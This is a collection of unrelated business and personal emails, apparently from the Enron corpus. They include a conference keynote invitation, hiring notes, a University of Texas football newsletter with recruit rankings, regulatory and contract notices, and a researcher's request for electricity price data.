Houston, TX  77251-1188

VIA E-MAIL: WHALLEY@ENRON.COM

Dear Greg:

To follow with my phone message, please consider accepting a keynote speech
for Interactive Energy, Tuesday morning, Oct. 24, in Houston. We've
confirmed either the head of the E-Commerce Practice or the North American
Energy Practice from McKinsey and have issued invitations to Tim Ling, the
chairman of TradeRanger (the Shell, BP, Unocal procurement hub), and John
Leggate, Group Vice President, IT at BP.

Interactive Energy has grown to be the largest and most prestigious
e-strategy event (see www.interactiveenergy.com).  Skilling gave the
keynote
last year, announcing the launch of Enron Online. Divisional presidents
from
Halliburton, Equiva, Vastar and Reliant Energy participated in the keynote
session.  More than 1,450 executives attended.  Given the large number of
early registrations and the strong program, we expect this year's to be
much
larger.

Ideally, you would give a one-year update on the growth of the EOL and
describe your vision for Enron's future e-business initiatives and
objectives in this area.  The target audience for the conference is senior
energy management who are integrating technology into their core business

Interactive Energy 2000, which will have more than 100 speakers, will cover
technology development across five sectors:

1) Upstream
2) Transportation & Logistics
3) Processes (refining, petrochem, power gen. and gas processing)
4) Wholesale
5) Retail

Press Coverage:
The conference has been a high priority for the trade press as well as the
general media.  At previous years' events, we had editors from more than
twenty general business and trade publications, including the Wall Street
Journal, FT Energy, Oil & Gas Journal, Oil & Gas Investor, World Oil,
Bloomberg, PR Newswire, Dow Jones New Retrieval and others.  National
Public
Radio and All Things Considered aired interviews of our key speakers.  As
result of last year's success, we have numerous media sponsors this year,
including Energy Markets, McGraw Hill, Oil & Gas Investor, Houston Business
Journal, PR Newswire, Utility IT, Petroleum Economist, EnergyCentral.com,
Energy Commerce and others.

Benefits:

Enron Net Works will benefit in four ways:

?    First, you will educate customers and partners.  Cisco is bringing
some 70
senior utility executives from Europe to attend; they would be most
interested in your perspectives.  Energy buyers from such organizations as
Ford, United Technologies and e-Mall (an eight-state buying consortium)
have
attended in previous years.

?    Second, you will motivate management from such vendors as Ariba,
Luminant,
IBM, i2 and SAP and many others to develop IT solutions specific to Enron's
vision.

?    Third, you will educate employees.  Some 43 executives from Enron
attended
last year's event.

?    Fourth, you will persuade recruits.  Capable professionals in this
area
are in high demand. Rising stars of the energy industry will learn of
Enron's innovations and rapid growth.

I hope that your calendar is clear.  Look forward to the possibility of
working with you and your staff.  I'll call to follow up.

Yours respectfully,

President
Zeus Development Corporation
2424 Wilcrest Dr., Suite 250
Houston, TX 77042
Main: 713-952-9500
Direct: 832-200-3706
e-mail: bnimocks@zeusdevelopment.com

Shirley:
Could you please organize interviews for Mr. Ball with the usual Research 
suspects, including Alex Huang and Tanya Tamerchenko?
Mr. Ball's phone numbers are on his enclosed resume. Thanks.

Grant.
=======================================
Vince:
I talked to this guy briefly.  I think he is desparate to get out of Unocal 
before they downsize him out of a job.
He has a decent resume and the attached comment from Don Winslow is 

Grant.

Grant - here's the resume of the guy that called.  Sorry for the delay.  Here 
are Don Winslow's comments:

"Greg was my predecessor in the risk mgt dept at Unocal. He reminds me
somewhat of Remi's cousin-mild mannered, Physics Phd.  He is brilliant and
expresses himself well.  I think he might fit in Vince's group better than
in your group.  He has not had much exposure to commercial transactions. He
was in Bill Bradford's MBA class.  He graduated #1."

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Date: Mon, 15 May 2000 12:16:25 EDT
Subject: True Orange, May 15, 2000, Part 1
To: TruOrange@aol.com
Content-Type: text/plain; charset=3D"ISO-8859-1"
X-Mailer: AOL 4.0 for Mac - Post-GM sub 147

Jerry Scarbrough's True Orange
The Newsletter for the True Texas Longhorn Faithful

Volume 10, No. 17, May 15, 2000

Brown Says Offensive Line Much Improved, Cites Other Problems Heading into
2-a-Days

Coach Mack Brown says he and his assistant coaches have thoroughly reviewed
the tapes of the Longhorns 15 spring practices and have concluded it was a
very productive period.
The offensive line has received much of the blame for the late-season
Longhorn swoon last year, but Brown says the offensive linemen, as a group,
showed a lot more maturity and perseverance in the spring.
"I think the offensive line improved a lot," he told me in an interview las=
t
week.
Asked what he thought prompted the improvement, he said, "The embarrassment
they felt leaving the Cotton Bowl and the fact that they have been together=
 a
year more."
While he didn't elaborate on the maturity question, it is worth noting that
four of the five offensive linemen who started in the spring have never
redshirted.
The reason they never redshirted is the lack of  depth in the offensive lin=
e
when they got here, which forced Brown to play most of the linemen when the=
y
were true freshmen.
At Nebraska, which has been the top program in the Big 12 year in and year
out, all offensive linemen redshirt and most of them don't start until thei=
r
fourth year when they are redshirt juniors.
Applying that yardstick to the Texas' offensive line, none of the four spri=
ng
starters would have started last year, and only senior LT Leonard Davis and
junior center Matt Anderson would start this year because they are entering
their fourth seasons.
There are exceptions, even at Nebraska, because their center last season wa=
s
a third-year sophomore, but the Huskers =01) and the other teams who seem t=
o
always be in the hunt for the national championship =01) go mostly with
fourth-and-fifth-year players (redshirted juniors and seniors) in their
offensive lines.
The five offensive line starters at Nebraska this spring already have 18
seasons in the Husker program under their belts. The Longhorns' five spring
starters have 11.
The Longhorns should be able to able to overcome their youth to some extent
because four of the spring starters =01) Davis, Anderson, junior RG Antwan
Kirk-Hughes and junior RT Mike Williams =01) all started last season, and
sophomore LG Derrick Dockery played often and well last year as a true
freshman.
That means they know what it takes to win and have the experience to help
them do it.
Brown did say he thinks the Longhorns can redshirt their offensive line
recruits this year "if we can avoid injuries." That bodes well for the futu=
re.
But, when the Horns start 2-a-days in early August, Brown said there are fo=
ur
problem areas where major improvements must be made for the Longhorns to be
able to compete at the highest level =01) and only one of them directly inv=
olves
the offensive line.
"First, he said, "we need to do a better job of net punting."
"Second, we need to do a better job returning punts and kickoffs."
"Third, we need to do a better job of making four-yard plays consistently o=
n
offense. That will help with ball control and will help take the pressure o=
ff
our passing game."
"Fourth, we need to do better job of getting a good pass rush out of our
front four."
The Longhorns made a lot of progress in the spring in each of those areas,
but Brown said they have to keep working hard in each area to get even bett=
er.
Former walk-on Ryan Long, who handled the punting last season, and Kris
Stockton, the Horns' regular place kicker, both worked hard on punting duri=
ng
the spring and both were able to get good heighth and good distance on most
of their kicks.
But look for incoming freshman punter Justin Smith to get a chance to win t=
he
starting job.
Even more improvement was shown in the spring in the other three areas.
CB Ahmad Brooks showed promise as a punt returner in the spring and redshir=
t
freshman RB Ivan Williams looked very good as a kickoff returner.
They should enable the Horns to be  better in both kick return areas if the=
y
improve as much during 2-a-days as they did in the 15 spring practices.
Williams also is the main hope of showing improvement in problem area No. 3=
 =01)
doing a better job of making consistent four-yard gains. He is a 235-pounde=
r
with speed and power and he can catch the ball, too.
One important thing to remember about big running backs, in addition to the
obvious characteristics, is the fact that offensive linemen tend to block
better for them because they want to get out of their way.
If you ever played in the offensive line at any level and had a big running
back step on the back of your legs because you didn't get out of his way,
you'll know why they make an extra effort to get a good block when they kno=
w
a 235-pounder is coming through their area.
While the coaches saw some things they liked in those first three areas, No=
.
4 =01) getting a better pash rush out of the front four =01) was a big-time=
 winner
the spring and should get even better during the pre-season practices.
Why? For starters, the best pair of tackles in all of college football retu=
rn
in seniors Casey Hampton and Shaun Rogers. Hampton is a returning
All-American and Rogers is rated even higher by the pro scouts.
Rogers is a great pass rusher and Hampton, the team's best run stopper, is =
a
good one.
And sophomore end Cory Redding is a future All-American who is an outstandi=
ng
pass rusher, and, while the coaches aren't satisfied the play of the guys a=
t
the other end, all three of them =01) Jermain Anderson, Maurice Gordon and =
Adam
McConathy =01) are very good at rushing the passer. Their problem is holdin=
g up
against the run.
So, while the Longhorns have work to do to reach the playing level the
coaches demand, they have a very good chance to do a lot better in all of t=
he
categories Brown mentioned except net punting, and they should be able to
show some improvement there because it isn't too hard to improve on a 29-ya=
rd
net punting average that ranked 111th of 114 teams playing Division I
football.
Here's what Brown had to say on several other subjects:
Do you expect Major Applewhite to be ready to go full speed when practice
starts in early August? Doctors usually say it takes about nine months and =
he
was operated on in mid-January, so he'll only have about seven months until
practice starts.
"I don't know," he said. "I've been around long enough, and I've had five o=
f
them (knee operations) myself, to know that sometimes you seem to be ahead =
of
schedule and then things seem to go a little slower. There are still some
questions and concerns there and we'll just have to wait and see."
After studying the film of the 15 spring practices, who were your most
pleasant surprises?
"There were a lot of pleasant surprises. Beau Baker had a good spring and i=
s
challenging Matt Anderson at center. We expected (redshirt freshman) Artie
Ellis to be pretty good, but he really jumped out and showed he has the
potential to help at wide receiver."
"Ivan Williams probably came farther than anybody. Matt Trissel had a good =
spr
ing at fullback. Leonard Davis had his best spring, by far (at offensive
tackle)."
"On defense, Jermain Anderson came back at 228 pounds and in good health an=
d
he looked good at end. We're working to get him a little bigger. D. D. Lewi=
s
had by far his best spring (at middle linebacker) and Reed Boyd, backing hi=
m
up, had a great spring, too."
"Quentin Jammer had a real good spring until he got hurt, but he looked
really good at corner. Dakarai Pearson looked real good at free safety."
"It wasn't any surprise, but those two defensive tackles are real good,"
"What's your biggest concern about having to play 11 straight games without
an open date?
"We're going to have to play a lot of people. We felt like we got worn down
last year at the end of the season, and we've worked to build better depth =
so
we can play more people. We're going to do that to try to keep our people
fresher."
Let's talk about the chances of some of those heralded freshman wide
receivers helping out early.
"Well, a guy can play there quicker. It's less physical than most of the
other positions. The main thing will be learning how to handle the
bump-and-ran coverage. We're telling them to come in ready to compete for
playing time."

Hall Will Transfer

Redshirt freshman QB Adam Hall has asked for and has been granted an
unconditional release and plans to transfer to another school this summer.
Hall, an Austin Westlake product, was the backup to sophomore Chris Simms
during spring practice while junior Major Applewhite was recovering from
major knee surgery.
He had a very good spring, and was really adept at throwing on the run.
His departure will leave the Longhorns with just three scholarship
quarterbacks this season =01) Applewhite, Simms and incoming freshman Chanc=
e
Mock of The Woodlands.
And that is based on the assumption that Applewhite's knee will be strong
enough to allow him to be ready at the start of the season.
"It was a difficult decision, but one that I think is the best for me at th=
is
time," Hall said. "The biggest factor was that I want to have a chance to b=
e
a starter in the near future."
"I love all of my teammates and appreciate everything the coaches and staff
have done for me, but I think I will have a better opportunity to play soon=
er
at another school."
"Obviously we are disappointed because we felt that Adam had a good spring
and we have been very pleased with his progress," Brown said.
"We wish him the very best and appreciate everything he has done for the
University of Texas and its football program."

Revisiting the Offense

After looking at the statistics of all of last season's game, I feel much
better about the Texas offense.
Through the first 11 games last season, UT was averaging 448 yards a game a=
nd
had the league's second-ranked offense. Texas also had been outgained only
once, in the  win over Nebraska.
But QB Major Applewhite was healthy and WRs Kwame Cavil and Ryan Nunez were
teaming up to outgain 1998's dynamic duo of Wane McGarity and Cavil. Jeremy
Jones was also providing quality time at WR.
Against good defenses, they were the straws that stirred the Longhorn offen=
se.
When the offensive meltdown occurred in the last three games, injuries to
Nunez and Jones, Applewhite's illness before the A&M game and Cavil's
suspension before the Arkansas game kept them from ever being being all
together again.
Fear of those potent weapons had kept teams from blitzing effectively, but,
with one or more of those weapons missing in each of last three games, team=
s
were able to blitz too many people to block without fear of getting burned
deep.
I doubt Texas could have beaten Nebraska a second time in one year, but I'd
like to have played A&M and Arkansas with everybody healthy.
It's true that those receivers are gone, but TE Bo Scaife and a bigger,
faster corps of WRs will make all-out blitzing much more dangerous for othe=
r
teams. Look for a return to those 400-plus-yard offensive averages in 2000.

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The Pre-Season Blue Chips

Here's my revised list of the top Texas football recruits. The ones in bold
type are my early Fabulous 40. I decided to run the list again this month
because there are so many changes in the wake of the Nike camps and early
college scouting. I also trimmed the list from 100 to 80 because I wanted t=
o
limit it to kids who are being heavily recruited by Division I schools.
(Note to E-Mail Subscribers: I have put four asterisks (****) between the F=
ab
40 and Elite 80 guys at each position)

The Earlybird Elite 80 Recruits

Quarterback (7)
Matt Nordgren, 6-5, 225, 4.7, Dallas Bishop Lynch (Stan, Fla, FSU, Tenn, ND=
)
Mike Pankratz, 6-3, 200, 4.8, Katy Taylor (A&M, UCLA, OU, KSU, UT, ND)
* * * *
Davon Vinson, 6-3, 185, 4.5, Kilgore (A&M, Ark, OU, Bay)
Brett Stewart, 6-2, 178, 4.7, Waco Midway (A&M, Bay, UT, TCU, OU, Ark, TT)
Cody Hodges, 6-0, 175, 4.7, Hereford (TT, A&M, Bay)
Kyle Kummer, 6-1, 180, 4.7, SA Churchill (A&M, TCU, Stan, SMU, Colo, Duke)
David Mitchell, 6-3, 205, 4.8, FW Country Day (SMU, Bay, Miss, Ky, Ind, TCU=
)

Running Back (6)
Cedric Benson, 5-11, 200, 4.5, Midland Lee (UT, Ala, A&M, OU, Ark, Az, Wi
David Underwood, 6-0, 220, 4.4, Madisonville (Mich, A&M, UCLA, UT, LSU)
Donta Hickson, 5-9, 180, 4.5, McKinney (FSU, A&M, OU, Mich, Neb, UT)
* * * *
David Williams, 5-11, 180, 4.5, Carrollton Smith (A&M, FSU, TCU, Pur, OU)
Anthony Evans, 5-9, 195, 4.5, Pearland (Bay, A&M, UT, Neb, UCLA)
Cody Thibodeaux, 6-1, 200, 4.5, Winnie East Chambers (Neb, A&M, LSU, Fla,
UCLA)

Fullback (3)
Darnell Sims, 6-2, 230, 4.7, Aldine (A&M, UH, LSU)
* * * *
Jonathan Reeves, 6-0, 242, 4.68, Fort Bend Austin (A&M, Ark, UT)
Colby Ford, 6-1, 210, 4.6, Big Spring (TT, OU, Az)

Tight End (2)
James Moses, 6-3, 225, 4.7, GP North Shore ((UT, A&M, Az, Mich)
* * * *
Brian Wang, 6-6, 250, 4.9, FW Southwest Christian (TCU, A&M, Bay, Ark, OU)

Wide Receiver (9)
Armon Dorrough, 6-1, 168, 4.43, Lancaster (A&M, TCU, NW, BYU, NM)
Brandon Jones, 6-3, 205, 4.4, Texark. Liberty-Eylau (Ky, A&M, FSU, Pur, UT)
Bennie Brazell, 6-2, 168, 4.4, Houston Westbury (UCLA, Ark, Fla, LSU, Mia)
Thomson Omboga, 6-2, 175, 4.5, Grand Prairie (ND, Ga, Mo, A&M, UT, TCU)
Cedric Williams, 6-0, 170, 4.4, Jefferson (KSU, Tenn, FSU, Neb, A&M, OU)
* * * *
Keith Mills, 5-11, 175, 4.4, Garland (A&M, Fla, UT, FSU, TT, OU)
Terrence Thomas, 5-9, 175, 4.4, Hstn Washington (Fla, Miami, FSU, UH)
T. J. Jenkins, 5-11, 180, 4.4, Dallas Hillcrest (FSU, TCU, Fla, TT, UT)
Jamel Branch, 5-10, 175, 4.45, Katy (PSU, A&M, Ky, Fla, ND)

Offensive Line (13)
Jonathan Scott, 6-7, 290, 4.9, Dallas Carter (UT, FSU, Mich, Fla, OSU)
Jami Hightower, 6-4, 295, 5.2, Jacksonville (UT, A&M, FSU, OSU, TCU)
Ben Wilkerson, 6-4, 265, 4.9, Hemphill (A&M, ND, Neb, Ky, Bay)
William Winston, 6-6, 330, 5.3, Houston Madison (UT, A&M, LSU, UCLA, Syr)
Abe Robinson, 6-6, 270, 4.9, Jersey Village (FSU, UT, A&M, UCLA)
Roman Reeves, 6-6, 295, 5.2, Livingston (A&M, ND, OU, UT, TCU, UH)
Shane Simms, 6-2, 300, 4.9, Tomball (UT, A&M, Colo)
* * * *
Terrance Young, 6-6, 330, 5.5, Longview (A&M, UT, OU, Ark)
Mike Garcia, 6-5, 280, 5.2, Galena Park (A&M Commitment)
Vince Carter, 6-3, 260, 5.0, Waco (Ark, A&M, OU, Mich, FSU, Colo, UT)
Will Allen, 6-5, 300, 5.3, Cypress Falls (A&M, Tenn, UT, FSU, KSU, Ark)
E. J. Whitley, 6-5, 290, 5.3, Texas City (A&M, Mich, UT, Ky)
Victor Mercado, 6-4, 295, 5.1, Irving (KSU, UT, A&M)

Defensive End (8)
Kevin Everett, 6-5, 225, 4.6, Port Arthur Jefferson (UT, ND, Colo)
Lawrence Hooper, 6-4, 255, 4.7, Aldine (A&M, PSU, Colo, FSU, KSU)
Simeon Jones, 6-3, 240, 4.7, Houston Jones (A&M, UH, Colo, UT, Bay)
McKenzie Tilmon, 6-3, 235, 4.7, Irving MacArthur (KSU, UT, A&M, Tenn)
Jamie Jackson, 6-3, 225, 4.7 Andrews (TT, OU, A&M, UT)
Colin Allred, 6-3, 225, 4.7, Dallas Hillcrest (UT, Neb, TT, TCU, Mich)
* * * *
Bret Rayl, 6-7, 265, 4.9, Lewisville (A&M, FSU, OU, PSU, UT, TCU)
Quintene Newhouse, 6-2, 250, 4.64, Emory Rains (A&M, Ky, Mich, UT, Bay, TCU=
)

Defensive Tackle (7)
Tommie Harris, 6-3, 280, 4.8, Killeen Ellison (UT, A&M, Tenn, TCU, FSU, Fla=
)
Thomas Derricks, 6-1, 275, 4.9, Dallas Jesuit (ND, A&M, TCU, Bay, UT, NW, T=
en)
Clayton Harmon, 6-6, 260, 5.1, Stephenville (A&M, TT, Colo)
Sharod McGowan, 6-2, 250, 4.7, Waco (A&M, UT, TT, NC, OU)
* * * *
Brandon Goodlett, 6-2, 280, 5.1, Conroe (Ky, OU, Neb, UT)
Jeremy Calahan, 6-3, 260, 5.0, Pflugerville (UT, ND, A&M, OSU, Stan, TCU, V=
an)
Fred Thwreat, 6-2, 270, 4.9, Midland Lee (TT, A&M, Az)

Outside Linebacker (7)
Derrick Johnson, 6-3, 205, 4.5, Waco (UT, FSU, KSU, A&M, OU, TCU, UCLA)
Jonathon Jackson, 6-2, 220, 4.56, GP North Shore (UT, PSU, FSU)
* * * *
Shawn Willis 6-2, 215, 4.6, Flatonia (A&M, FSU, UT, Bay, TT)
Lance McFarland, 6-2, 210, 4.6, Jefferson (KSU, UT, A&M, FSU, Bay)
Justin Crooks, 6-1, 210, 4.6, Round Rock McNeil (UT, A&M, Rice, TCU, Bay)
Lee Foliaki, 6-2, 200, 4.5, Euless Trinity (A&M, UT, FSU, Neb, KSU, TCU)
Jacoby Reese, 6-1, 205, 4.6, Irving (KSU, Colo, UT, A&M)

Inside Linebacker (2)
Jeff Billings, 6-2, 232, 4.7, Pasadena Rayburn (A&M, Ky, Az, ASU, NW)
* * * *
David Pinkney, 6-0, 220, 4.6, Houston Milby (A&M, Az, Mich, LSU, VT, FSU

Cornerback (7)
Moses Harris, 6-1, 170, 4.4, Dallas Carter (UT, OU, Mia, Ky)
Byron Jones, 5-10, 180, 4.4, Bay City (LSU, UCLA, A&M, NW, Ark)
Cedric Griffin, 6-1, 180, 4.42, San Antonio Holmes (Wash, A&M, Neb, UT, Col=
o)
* * * *
Dee Durham, 5-11, 174, 4.4, Mansfield (Colo, Mich, Mia, OSU, VT)
Warren Wilson, 6-0, 170, 4.4, Texas City (Pur, A&M, LSU, Ky, Az)
Anthony Kelly, 6-0, 175, 4.5, Ald. Eisenhower (A&M, LSU, Colo, KSU, Ill, Ba=
y)
Courtney Sterling, 5-7, 170, 4.4, Dallas Carter (FSU, Tenn, UT, Mia, UCLA,
ASU)

Safety (3)
DeWayne Brandon, 6-3, 198, 4.46, Temple  (UT, Neb, FSU, A&M, Ky)
Rufus Harris, 6-0, 180, 4.4, LaPorte (A&M, Az, ISU, Mia, Ky)
* * * *
Marcus Maxey, 6-2, 195, 4.5, Navasota (A&M, UH, Rice, Bay)

Athlete (6)
Joseph Addai, 6-1, 195, 4.5, Houston Sharpstown (UT, Neb, Kan, VT, A&M)
Quan Cosby, 5-10, 180, 4.4, Mart (UT, A&M, Tenn, FSU, Bay)
Ryan Gilbert, 5-11, 180, 4.4, Dallas Hillcrest (UT, Mich, Neb, Mia, Tenn, F=
SU)
* * * *
Ganius Scott, 5-9, 170, 4.4, La Porte (FSU, Az, Tenn, Mia, UT, Ky)
Kendall Briles, 5-10, 175, 4.5, Wolfforth Frenship (UT, TT, Neb, LSU, Ok St=
)
Taurean Henderson, 5-10, 170, 4.5, Gatesville (Bay, UT, TCU, Gramb, UCLA)
* * * *
The 25 "Difference Makers"
These are Texas' top 25 players, in my opinion:
1. DT Tommie Harris, Killeen Ellison
2. OL Jonathan Scott, Dallas Carter
3. OL Jami Hightower, Jacksonville
4. LB Derrick Johnson, Waco
5. TE James Moses, Galena Park North Shore
6. RB Cedric Benson, Midland Lee
7. WR Armon Dorrough, Lancaster
8. DE Kevin Everett, Port Arthur Jefferson
9. WR Brandon Jones, Texarkana Liberty Eylau
10. C Ben Wilkerson, Hemphill
11. RB David Underwood, Madisonville
12. DE Lawrence Hooper, Aldine
13. S DeWayne Brandon, Temple
14. Ath Joseph Addai, Houston Sharpstown
15. WR Bennie Brazell, Houston Westbury
16. Ath Quan Cosby, Mart
17. CB Moses Harris, Dallas Carter
18. LB Jonathon Jackson, Galena Park North Shore
19. RB Donta Hickson, McKinney
20. QB Matt Nordgren, Dallas Bishop Lynch
21. CB Byron Jones, Bay City
22. DT Thomas Derricks, Dallas Jesuit
23. Ath Ryan Gilbert, Dallas Hillcrest
24. OL William Winston, Houston Madison
25. OL Abe Robinson, Jersey Village

Out-of-State Prospects

The Longhorns are recruiting several out-of-state players. Here are the one=
s
who are considering UT:
Quarterback
Perrin Rittiner, 6-3, 215, 4.7, New Orleans Jesuit (LSU, Miss, UT, Ala)
Travis Jackson, 6-4, 212, 4.6, Olathe, Kan., South (OU, Stan, Pur, ND, KSU,
UT)
Ronnie Prude, 6-0, 175, 4.4, Shreveport Fair Park (LSU, Tenn, A&M, UT)
Dayne Ashley, 6-3, 190, 4.7, Jena, La. (LSU, UT, Ala, A&M)
Running Back
Eric Shelton, 6-3, 235, 4.5, Lexington, Ky., B. Station (OSU, Mich, PSU,
Tenn, UT)
Jabari Davis, 5-11, 224, 4.5, Tucker, Ga. (Ga, Tenn, UT, Neb, Ala)
Seymore Shaw, 6-0, 210, 4.45, Shawnee, Ok. (Ok St, OU, UT, Neb)
Donald Dorham, 5-10, 215, 4.45, Chicago Mt. Carmel (Fla, UT, PSU, Mich)
Fullback
James Buchanan, 6-2, 240, 4.7, Sarasota, Fla. Mooney (FSU, ND, UT, Fla, Mic=
h,
Neb)
Tight End
Kory Hebert, 6-5, 225, 4.6, Lafayette, La., Teurlings Catholic (LSU, UT)
John Boutte, 6-3, 230, 4.7, Lake Charles, La., Boston (LSU, Tenn, UT)
Wide Receiver
Lynzell Jackson, 6-3, 175, 4.4, Tempe, Az., Union (ASU, Az, UT, UCLA)
Offensive Line
Aaron Wells, 6-7, 395, 5.4, Chicago Morgan Park (Mich, Fla, Ga, GT, UT)
Defensive End
Eric Hall, 6-3, 232, 4.5, Clarksville, Tenn., NW (FSU, UT, Ten, Neb, LSU)
Defensive Tackle
Marcus Spears, 6-5, 275, 4.8, Baton Rouge S. Lab (LSU, A&M, Mich, UT)
Marquise Hill, 6-7, 290, 4.8, N. Orleans D. Salle (FSU, LSU, Mich, A&M, UT)
Cornerback
Roger Ross, 5-10, 180, 4.45, Denver Jefferson (Colo, UT, ND, Kan, UCLA)
Safety
Brandon Williams, 6-2, 207, 4.5, Port Allen, La. (LSU, FSU, UT, Tenn)

900 Number Updated Often

I update my 900 number every Wednesday and Sunday by 8 p.m. with recruiting
and other football news.  The number is 1-900-288-8839. It costs $1.59 a
minute. You must be 18 to call.

Mihm Turns Pro; Barnes Cupboard Far from Bare

All-America center Chris Mihm announced Friday he is passing up his senior
season at Texas to follow his life-long dream of playing in the NBA.
"It was a tough choice because I love the program at UT, but I believe I'm
doing what makes the most sense," Mihm said.
Mihm, who led the Longhorns in scoring, rebounding and blocked shots last
season, is projected as a top five pick in the NBA draft next month.
If  Mihm had returned for his senior season, the Longhorns probably would
have been a pre-season top 10 team, but coach Rick Barnes' cupboard if far
from bare and they should be a top 20 team without him.
Among the six returning lettermen are 6-8 junior forward Chris Owens, a pow=
er
in the paint, and 6-3 senior guard Darren Kelly, a sharpshooter and strong
defender.
Other lettermen include sophomore forward William Wyatt, sophomore guard/fo=
rwa
rd Chris Ogden, sophomore guard Roosevelt Brown and senior guard Chris
McColpin.
But Barnes' ace in the hole is transfer guard Maurice Evans, a 6-5 junior
dynamo who practiced with the team last season after averaging 22.6 points =
a
game as a sophomore at Wichita State.
Evans has been very impressive in practice and he, like Mihm, has big-time
NBA potential. Barnes' offense is not as wide open as Wichita State's, but
look for Evans to average 16 or 17 points a game and be one of the team's b=
ig
guns, offensively and defensively, next season.
Barnes also has six recruits coming in, including heralded JC point guard
Freddie Williams, plus four national top 100 recruits in 6-9 forward Brian
Boddicker of Duncanville, 6-8 forward James Thomas of Hargrave Military
Academy in Chatham, Virginia, 6-5 swingman Brandon Mouton of Lafayette, La.=
,
and 6-10, 255-pound center
Jason Klotz of Houston Klein Forest.
Guard Lawrence Williams announced plans to transfer two weeks ago and Barne=
s
filled the scholarship by signing Royal Ivey, a 6-3, 175-pound guard from
Blair Academy, a prep school in Blairstown, N. J.
Joe Montegna, Ivey's coach at Blair, said the Longhorns picked up a real ge=
m.
"He averaged 20 points, 5 rebounds and 6 assists for us," Montegna said.
"He's a fine offensive player who is a true combo guard, but he's much bett=
er
on defense."
He's the best defensive player, by far, that I've ever coached, and I've
coached in the college ranks," Montegna said.

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FYI, the California dockets are on the agenda for the Commission's meeting next Wednesday.  We expect the FERC to order an evidentiary hearing on the refund issue.  We will keep you posted.

We have received an executed First Amendment to Master Agreement by and between Vermont Gas Systems, Inc. and Enron North America Corp., which amends a) certain credit provision for both parties and b) certain other provision of the Master Agreement due to regulatory changes.

Return-Path: <ostdiek@rice.edu>
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Date: Mon, 17 Dec 2001 17:16:57 -0600
From: Barbara Ostdiek <ostdiek@rice.edu>
Subject: data
Content-Type: text/plain; charset="us-ascii"; format=flowed

Vince:

I have a very off-the-wall question for you.  I am interested in getting
ahold of historic electricity and weather derivatives data for a new
research project I am working on.  The project centers on comparing trading
period and non-trading period volatility with the story being that markets
that are susceptible to weather shocks (ag commodities, natural gas, for
instance) will have a lower trading-period to non-trading period volatility
ratio than will markets where the primary information flow largely
coincides with the trading period (stocks and bonds, for instance).   This
hypothesis has been born out in the exchange-traded futures markets where I
have easy access to data.  The larger question that is addressed gets at
the question of the extent to which the trading process itself drives
volatility as opposed to information driving volatility.

The hypothesis would seem to be even more sharply in focus in the
electricity and weather markets.  But, I don't have any data to empirically
test this.  (I haven't looked at the exchange-traded electricity contracts
but understand them to be quite illiquid).  Any thoughts?  Any chance
someone in your group would be able to put together a data set of prices
for me?  I don't know what your usual policy is on this or what the policy
currently is.  I should be able to keep the source of the data generic -
i.e., a large OTC energy trader.

Thought it was worth asking.  Thank you for your consideration.

bbo

?

sender.

 - test.jpg

We have received the executed Second Amendment to Guaranty Agreement dated as 
of June 9, 2000.  This amendment changed the guaranty of Formosa Plastics 
Corporation, USA ("Guarantor") with respect to the physical transactions with 
Formosa Hydrocarbons Company, Inc. and financial transactions with Neumin 
Production Co. to an unlimited guaranty.  The original guaranty amendment 
will be sent to Credit.

We parked 25,000 dt/day on the 25th-27th (deal 225515) on CNG and we will be 
taking it out during April (deal 225534).  ENA will pay CNG $.02 x 75,000 dt 
= $1,500.00 in April.

Please let me know if you have questions.

A copy of this has been sent to cash committee for review tomorrow.

Stuart

Sent:	Tuesday, January 15, 2002 6:30 PM
To:	Schneider, Chip
Cc:	Sewell, Doug
Subject:	Cash Request for Trunkline

 =09 =09    Dear Eric,  Members of Congress return from their Thanksgiving =
break on Tuesday as debate resumes in Washington.  A bill that would renew =
the Price Anderson Act is being brought to the floor of the House of Repres=
entatives.  The bill limits the liability for the nuclear industry in the e=
vent of a major accident.  Significant revisions were made to the legislati=
on in the wake of the September 11 attacks, with the addition of amendments=
 that would strengthen the security of America's nuclear power plants.     =
The Washington bureau will also have more reaction to the FERC's new policy=
 for determining whether a company has market power in the electricity indu=
stry.  Join us for these reports from the Washington bureau on Tuesday.   F=
rom Houston on Tuesday, we'll bring you an update on Enron's continuing fin=
ancial situation.  UBS PaineWebber's Robert Young is stopping by the Housto=
n bureau to discuss his perspective on the negotiations between Enron and D=
ynegy.  He'll join us during the 10:00 a.m. ET newscast tomorrow.   The For=
mer Energy Advisor to the Prime Minister of Iran is speaking in Houston on =
Tuesday.  Dr. Fereidun Fesharaki will be talking to the Asia Society about =
the Middle East, oil and economics. The Houston bureau will bring us a prev=
iew.   Climate Solutions Co-Director Rhys Roth will be live from Olympia, W=
ashington during the 3:00 p.m. ET newscast on Tuesday.  West Coast Bureau C=
orrespondent Kym McNicholas talks with Roth about the future of clean energ=
y in the Northwest and how renewables will play a major role as a future en=
ergy source in the region.   We'll also have an update on the California De=
partment of Water Resources' efforts to pay generators for market transacti=
ons between January and July of this year.  Join us for reports from the We=
st Coast bureau.     ENL is hitting the road later this week.  Houston Corr=
espondent Kim Benestante will report live from Anchorage, Alaska.  Kim is a=
ttending a conference titled: Alaska Resources 2002: Can Alaska Compete?  W=
e'll have live coverage from the conference starting on Thursday.   ENL's G=
ale Smith will attend the Arctic Gas Symposium in Houston on Thursday.  The=
 symposium will address supplying the North American market and the latest =
pipeline route update, among other topics.  We'll have coverage of the symp=
osium on Thursday.    Closing Prices for Monday, Nov. 26, 2001    Crude: $1=
8.69 -$0.27   Unleaded: $0.5217 -$0.0056   Heating Oil: $0.05217 -$0.0125  =
 Natural Gas: $2.696 -$0.117   Keep in mind things are subject to change at=
 a moment's notice. Occasionally guests have to cancel or change time slots=
.  We'll continue to do our best to keep you updated on future interviews a=
nd events.     Be sure to watch our newscasts every business day - 9 a.m. t=
o 5 p.m. ET, at the top of each hour.  =09 =09=09=09=09

Please respond to "C. Scott" <cscott@ala.net>
To: "Wilbur & Betty Williams" <wbwilliams@flex.net>, "Susan Margaret Scott" 
<sscott5@enron.com>, "Kana, Kristi M." <kmkana@TexasChildrensHospital.org>
cc:  
Subject: Fw: FW: 70'S CHILD

From: Christine Carbo <ccarbo@hssbc.com>
To: cscott@ala.net <cscott@ala.net>; cookjr@arlaw.com <cookjr@arlaw.com>;
nani@chevron.com <nani@chevron.com>; rscherer@gltcpas.com
<rscherer@gltcpas.com>; Penny Steele <psteele@hssbc.com>;
WHRobinson@NOLAC.ORG <WHRobinson@NOLAC.ORG>; mmechols@riessfirms.com
<mmechols@riessfirms.com>; kbarsi@stmarys-ca.edu <kbarsi@stmarys-ca.edu>;
